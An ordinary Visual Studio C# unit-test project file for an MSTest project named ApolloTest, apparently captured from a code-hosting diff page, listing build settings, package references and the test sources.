<Import Project="..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.props" Condition="Exists('..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{9DE03129-49F2-4B81-B7B8-490A9D74E764}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>ApolloTest</RootNamespace>
|
||||
<AssemblyName>ApolloTest</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<ProjectTypeGuids>{3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
|
||||
<VisualStudioVersion Condition="'$(VisualStudioVersion)' == ''">15.0</VisualStudioVersion>
|
||||
<VSToolsPath Condition="'$(VSToolsPath)' == ''">$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)</VSToolsPath>
|
||||
<ReferencePath>$(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages</ReferencePath>
|
||||
<IsCodedUITest>False</IsCodedUITest>
|
||||
<TestProjectType>UnitTest</TestProjectType>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
<TargetFrameworkProfile />
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>15.0</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualStudio.TestPlatform.TestFramework, Version=14.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\MSTest.TestFramework.1.3.2\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions, Version=14.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\MSTest.TestFramework.1.3.2\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="TaskTests.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\Apollo\Apollo.csproj">
|
||||
<Project>{d14e4a53-b9b5-4563-8290-ba8487575255}</Project>
|
||||
<Name>Apollo</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VSToolsPath)\TeamTest\Microsoft.TestTools.targets" Condition="Exists('$(VSToolsPath)\TeamTest\Microsoft.TestTools.targets')" />
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.props'))" />
|
||||
<Error Condition="!Exists('..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.targets" Condition="Exists('..\packages\MSTest.TestAdapter.1.3.2\build\net45\MSTest.TestAdapter.targets')" />
|
||||
</Project>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user